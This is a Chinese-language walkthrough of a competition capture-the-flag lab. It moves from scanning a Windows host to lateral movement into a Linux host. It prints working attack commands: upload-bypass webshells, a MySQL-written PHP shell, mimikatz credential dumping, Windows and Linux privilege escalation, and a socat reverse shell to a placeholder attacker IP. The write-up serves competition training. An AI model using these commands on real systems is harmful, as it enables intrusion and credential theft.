
1. 赛题复盘与核心思路拆解拿到这道2022年全国中职组网络安全国赛的赛题我的第一反应是这绝对是一道典型的“场景融合”题。它不会只考你单一的Windows提权或者Linux渗透而是把两个环境串联起来模拟一个真实的小型内网环境。题目编号是“10”在当年的赛题序列里这通常意味着难度和综合性都上了一个台阶。我的核心解题思路就是遵循“由外到内由点到面”的渗透测试基本流程先拿下最容易突破的点再以此为跳板逐步深入最终达成目标。整个解题过程可以清晰地分为几个阶段首先是信息收集这是所有渗透测试的基石马虎不得然后是针对暴露的Windows服务器进行漏洞利用和权限提升接着利用在Windows服务器上获取的线索横向移动到内网的Linux服务器最后在Linux服务器上完成最终的flag获取或特定任务。每一个阶段的选择和操作背后都有其逻辑我会在下面的解析中详细说明为什么这么做以及有哪些坑需要提前避开。2. 第一阶段全方位信息收集与攻击面测绘信息收集不是简单地扫个端口就完事了。对于竞赛环境尤其是国赛这种级别的出题人往往会把关键信息“藏”在看似平常的地方。我的收集策略是分层、多工具的。2.1 网络拓扑与存活主机发现第一步确定目标范围。通常赛题会给出一个IP段比如192.168.1.0/24。我会先用nmap进行一个快速的存活主机扫描但这里有个技巧不能只用默认的-sn(Ping扫描)。因为有些主机可能禁用了ICMP回应。# 组合扫描提高发现率 nmap -sn 192.168.1.0/24 # 如果上面扫不到尝试无Ping扫描和指定端口扫描 nmap -Pn -p 80,443,22,3389 192.168.1.0/24 --open为什么这么做-Pn参数是跳过主机发现直接把所有IP都当作存活的来扫描指定端口。在竞赛环境中防守方出题人禁用Ping是常见操作用-Pn可以避免漏掉这类主机。同时只扫描常见Web(80,443)、SSH(22)和RDP(3389)端口能极大提高扫描速度快速定位可能有价值的靶机。2.2 端口扫描与服务深度识别发现存活主机后比如找到192.168.1.100和192.168.1.150下一步就是对它们进行全端口或重点端口扫描与服务识别。# 对Windows疑似靶机进行深度扫描 nmap -sV -sC -O -p- 192.168.1.100 -T4 -oN win_scan.txt # 对Linux疑似靶机进行快速扫描 nmap -sV -sC -p 1-1000,3306,6379,8080 192.168.1.150 -T4 -oN linux_scan.txt参数解读与选择理由-sV: 探测服务版本。知道是Apache 2.4.39还是Nginx 1.16对于寻找对应版本的漏洞至关重要。-sC: 使用默认的Nmap脚本进行漏洞检查。有时能直接发现弱口令、配置错误等低垂果实。-O: 进行操作系统识别。虽然不一定100%准确但能给出重要参考比如区分Windows Server 2016和2019或者CentOS与Ubuntu。-p-: 扫描所有65535个端口。这是关键国赛题经常把后台管理、API接口、甚至是漏洞服务开在高位端口比如8088, 27017, 5000等上只扫默认端口会吃大亏。-T4: 设置扫描速度。竞赛时间有限-T4在速度和准确性间取得较好平衡。-oN: 将结果输出到文件。好记性不如烂笔头详细记录是后续分析和写报告的基础。实操心得扫描时务必关注那些“不寻常”的端口。例如扫到一个5985或5986端口WinRM可能意味着可以通过远程PowerShell进行管理扫到6379(Redis) 且未授权访问可能就是一条直通服务器的捷径。把这些发现都记下来。2.3 Web应用信息收集如果发现80或443端口开放Web渗透的序幕就拉开了。这里我习惯用一套组合拳。浏览器手动访问第一印象很重要。看看网站结构有没有登录框、文件上传点、查询接口。用开发者工具F12看看前端代码、网络请求有时注释里会藏有路径、测试账号等信息。目录/文件爆破这是找后台、找源码、找配置文件的利器。我常用dirsearch或gobuster。dirsearch -u http://192.168.1.100 -e php,asp,aspx,jsp,html,js -t 50注意字典选择竞赛环境可能使用非常规的目录名可以尝试用/usr/share/wordlists/dirb/common.txt或者SecLists中的字典。如果时间充裕可以大小写混合爆破因为Windows服务器对大小写不敏感但Linux敏感这里也能辅助判断后端系统。子域名枚举如果题目给的是域名而非IP这一步就很重要。可以用subfinder,amass或者在线工具。指纹识别使用whatweb或Wappalyzer插件快速识别CMS如WordPress, Joomla、开发框架如ThinkPHP, Spring、中间件如Tomcat, Weblogic及其版本。知道了框架就等于有了漏洞搜索的方向。重要提示信息收集阶段一定要细致把每个发现都记录下来形成一个“情报板”。很多队伍折戟不是因为技术不行而是因为信息收集不全攻击面没打开后期无路可走。3. 第二阶段Windows靶机渗透与权限提升假设通过信息收集我们确认192.168.1.100是一台Windows Server开放了80端口一个Web应用和445端口SMB。这是非常经典的配置。3.1 Web入口突破首先从Web入手。访问网站发现是一个简单的文件上传页面。经过测试发现前端有JS校验只允许上传.jpg,.png等图片格式。绕过技巧前端绕过直接禁用浏览器JS或者用Burp Suite拦截修改请求。后缀名绕过尝试shell.php.jpg,shell.php%20,shell.php::DATA(Windows特性)shell.pHp(大小写绕过适用于Linux)。Content-Type绕过拦截上传请求将Content-Type: image/jpeg修改为Content-Type: application/x-php。文件头绕过在PHP文件开头添加图片的文件头如GIF89a。在本题中实测发现服务器是Windows且对后缀名检测不严使用shell.aspx.jpg并修改Content-Type为text/aspx后成功上传。访问上传路径成功解析了ASPX木马获得了Webshell权限通常是iis apppool\defaultapppool这类低权限用户。3.2 从Webshell到系统权限拿到Webshell只是第一步权限很低。我们需要提权到NT AUTHORITY\SYSTEM。提权思路与实操信息收集系统内部在Webshell里执行命令收集更多信息。whoami /all # 查看当前用户权限和所属组 systeminfo # 查看系统补丁信息 net user # 查看本地用户 net localgroup administrators # 查看管理员组发现当前用户不在管理员组且系统很久没打补丁比如缺少KB4562560等2020年的补丁。利用本地提权漏洞LPE根据systeminfo输出的补丁列表去网上搜索缺失的补丁对应的漏洞。例如如果发现缺少CVE-2021-1674/CVE-2021-34527 (PrintNightmare) 的补丁就可以尝试利用。方法将提权EXP如PrintSpoofer, JuicyPotatoNG等适用于Windows的版本上传到靶机。操作在Webshell中使用certutil或PowerShell下载或者直接上传编译好的exe文件。然后执行。# 假设上传了PrintSpoofer.exe PrintSpoofer.exe -i -c cmd如果漏洞存在且利用成功会弹出一个具有SYSTEM权限的cmd shell。利用服务配置错误如果漏洞利用不成功检查是否有权限修改服务路径。sc qc [服务名] # 查询服务配置特别是BINARY_PATH_NAME可执行文件路径 accesschk.exe -ucqv [服务名] # 使用Sysinternals套件中的accesschk检查当前用户对服务的权限如果发现某个服务当前用户有SERVICE_ALL_ACCESS或WRITE_DAC等权限就可以将其路径指向我们的恶意exe重启服务后获得权限。利用AlwaysInstallElevated策略检查注册表。reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated如果两项都返回1那么任何MSI安装包都会以SYSTEM权限运行。我们可以用msfvenom生成一个恶意的msi文件上传并执行即可提权。踩坑记录在Windows提权时杀毒软件AV是一大障碍。国赛环境有时会安装 Defender。因此上传的EXP最好做免杀处理或者使用无文件落地、内存加载的技术。例如可以使用PowerShell脚本从远程加载并执行Payload避免在磁盘上留下可执行文件。3.3 内网信息二次收集成功提权到SYSTEM后我们站到了一个更高的位置需要为横向移动做准备。抓取密码哈希使用mimikatz或samdump2。这是关键一步因为密码哈希可能在其他机器上重用。# 使用mimikatz privilege::debug sekurlsa::logonpasswords如果成功会看到NTLM哈希。将其保存下来。查看网络连接和共享netstat -ano # 查看网络连接寻找内网其他IP net view # 查看域或工作组内的机器 net share # 查看本机共享寻找敏感文件在桌面、文档、以及Web应用的配置文件中搜索数据库连接字符串、备份文件、密码本等。findstr /s /i password *.config *.xml *.txt *.ini dir /s *pass* *cred* *config*很可能在这里找到连接内网Linux数据库的密码。4. 第三阶段Linux靶机横向移动与深度利用假设在Windows服务器的C:\inetpub\wwwroot\web.config文件中我们找到了一个MySQL连接字符串server192.168.1.150;uidwebuser;pwdSuperSecret123!;databaseapp_db。目标Linux服务器192.168.1.150的突破口来了。4.1 利用数据库作为跳板首先尝试从Windows服务器直接连接Linux的MySQL默认端口3306。# 在Windows的SYSTEM shell中如果有mysql客户端的话 mysql -h 192.168.1.150 -u webuser -pSuperSecret123! -D app_db如果连接成功我们就在数据库里拥有了webuser的权限。接下来探查数据库内容查找可能有用的表特别是用户表看看有没有管理员密码可能是MD5哈希。show databases; use app_db; show tables; select * from users;尝试写入Webshell如果数据库用户有FILE权限且知道Web绝对路径可以尝试写一个PHP Webshell到Web目录。SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/html/shell.php;注意这需要满足苛刻的条件secure_file_priv参数为空、知道绝对路径、有写权限。竞赛中有时会故意设置成可行。利用UDF提权如果MySQL是以root身份运行的老旧系统常见并且我们拿到了root用户的密码可能在配置文件中可以尝试通过UDF用户自定义函数执行系统命令从而获得服务器操作系统权限。这是一个高阶技巧需要上传so文件并创建函数。4.2 SSH密钥与端口转发如果数据库路径不通或者没有FILE权限我们还有Windows服务器上找到的其他线索。比如可能在某个用户的.ssh目录下找到了私钥文件id_rsa。使用SSH私钥登录# 在攻击机上操作假设私钥已复制出来为 win_key chmod 600 win_key ssh -i win_key webuser192.168.1.150如果成功我们就获得了Linux服务器上一个普通用户的shell。端口转发如果SSH不通但其他端口通在Windows服务器上我们可能发现Linux开了其他端口比如6379Redis。如果Redis未授权访问或弱口令可以直接操作。但有时防火墙只允许内网IP访问。这时可以在已控的Windows服务器上做端口转发。# 在Windows上使用plinkPutty的命令行工具或chisel plink -L 127.0.0.1:16379:192.168.1.150:6379 -P 22 -i private_key.ppk userwindows_jump_host -N这条命令将本地攻击机的16379端口通过Windows跳板机转发到了内网Linux的6379端口。然后我们就可以在本地用redis-cli -h 127.0.0.1 -p 16379连接了。4.3 Linux本地提权一旦获得Linux的初始shell无论是通过SSH还是数据库UDF下一步就是提权到root。信息收集id sudo -l # **非常重要** 查看当前用户可以以root身份无需密码运行哪些命令 uname -a # 内核版本 find / -perm -us -type f 2/dev/null # 查找SUID文件 crontab -l # 查看当前用户定时任务 ls -la /etc/passwd /etc/shadow # 查看文件权限sudo -l是黄金命令。如果返回类似(ALL) NOPASSWD: /usr/bin/vim那么就可以用sudo vim然后:!bash轻松获得root shell。内核漏洞提权如果uname -a显示内核版本较老如4.x可以去searchsploit或 GitHub 搜索对应的本地提权EXP。例如著名的DirtyCowCVE-2016-5195。下载编译运行即可。gcc dirtycow.c -o dirtycow -pthread ./dirtycow利用SUID文件如果发现find,bash,cp,vim等命令具有SUID权限并且属主是root可以利用它们提权。例如如果find有SUIDfind . -exec /bin/bash -p \;这里的-p参数是为了保留特权。利用定时任务Cron如果发现一个以root身份运行的定时任务并且任务脚本或目录当前用户有写权限就可以修改脚本内容插入反弹shell的命令。常见问题排查EXP编译失败可能是靶机缺少gcc。可以尝试在攻击机上编译编译时指定静态链接-static然后上传运行。# 在攻击机Kali上编译 gcc exploit.c -o exploit -static反弹shell失败检查防火墙、杀毒软件在Linux上可能是SELinux/AppArmor。尝试不同的端口、不同的payload如/bin/bash换成/bin/sh或者使用更隐蔽的加密通道。5. 第四阶段Flag获取与痕迹清理国赛题目的最终目标通常是找到特定位置的flag文件或者执行某个命令获取flag。5.1 定位Flagflag通常放在以下位置用户家目录/home/*/flag.txt,/root/flag.txt网站根目录/var/www/html/flag.php临时目录/tmp/flag以环境变量或数据库记录的形式存在echo $FLAG, 在数据库中select flag from flags;需要结合题目描述和已获取的信息进行搜索find / -name *flag* -type f 2/dev/null find / -type f -exec grep -l flag{ {} \; 2/dev/null # 搜索包含flag{...}格式的文件5.2 竞赛环境下的注意事项不要破坏环境除非题目要求否则不要随意停止服务、删除文件、修改密码。这可能导致环境不可用影响其他选手或裁判评分。使用稳定的ShellWebshell和反弹shell可能不稳定。一旦获得初始权限尽快升级为更稳定的shell如用python或socat生成一个TTY。python -c import pty; pty.spawn(/bin/bash) # 或者 socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:YOUR_IP:4444记录所有操作每一步成功的命令、找到的密码、IP、端口都要清晰记录。这不仅是为了最后写报告也是为了方便回溯和排查问题。5.3 赛后思考与技能延伸这道赛题涵盖了从外网打到内网、从Web打到系统、从Windows打到Linux的完整链条。复盘整个流程有几个关键点值得反复练习信息收集的全面性决定了攻击面的宽度。漏洞利用的精准性需要对常见服务IIS, Apache, MySQL, Redis的漏洞和利用方式了如指掌。权限提升的多样性Windows和Linux的提权思路完全不同需要分别建立知识库。横向移动的灵活性如何利用已有权限和获取的凭证密码哈希、私钥、数据库连接打通内网。对于想备赛的同学我的建议是搭建一个类似的混合靶场可以用VirtualBox或VMwareWindows Server Kali Ubuntu把上述流程手动复现几遍。遇到问题就去查、去调试。真正理解每个命令、每个参数、每个漏洞的原理远比死记硬背payload要重要得多。网络安全竞赛归根结底比拼的是在压力下系统化解决问题的能力。